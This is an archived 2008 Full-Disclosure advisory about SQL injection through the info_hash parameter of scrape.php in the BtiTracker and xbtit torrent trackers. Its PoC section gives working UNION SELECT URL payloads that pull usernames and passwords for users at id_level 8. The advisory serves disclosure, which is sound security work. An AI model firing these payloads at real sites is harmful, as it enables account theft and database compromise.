full-disclosure - SQL Injection Vulnerability in BtiTracker and xbtit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <0654CC80C107406684E926583A2C5477@gw1>
Date: Mon, 25 Aug 2008 16:36:53 +0300
From: "Valery Marchuk" <tecklord@...uritylab.ru>
To: <full-disclosure@...ts.grok.org.uk>
Subject: SQL Injection Vulnerability in BtiTracker and
	xbtit

SQL Injection Vulnerability in BtiTracker and xbtit

Vulnerable products

BtiTracker <=1.4.7
https://sourceforge.net/projects/btit-tracker/

xbtit <=2.0.542
http://www.btiteam.org

Description

A vulnerability is caused due to the application does not perform sanitation
checks for input passed to the parameter info_hash in scrape.php. A remote
attacker can inject and execute arbitrary SQL commands in application`s
database.

PoC

## Exploit:
## =========================================================
## http://site/scrape.php?info_hash=1%27)
##
+UNION+SELECT+0,CONCAT(0x3C623E,username,0x3a,password,0x3C2F623E3C62723E),0,0
## +FROM+users+WHERE+id_level=8/*
## =========================================================
## for xBtiTracker we need to specify prefix:
## =========================================================
## http://site/scrape.php?info_hash=1%27)
##
+UNION+SELECT+0,CONCAT(0x3C623E,username,0x3a,password,0x3C2F623E3C62723E),0,0
## +FROM+xbtit_users+WHERE+id_level=8/*
## =========================================================

Original advisories

http://www.securitylab.ru/vulnerability/358375.php
http://www.securitylab.ru/vulnerability/358377.php

Credits

The vulnerability was discovered by InATeam (http://inattack.ru/).


BR,
Valery Marchuk
www.SecurityLab.ru


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/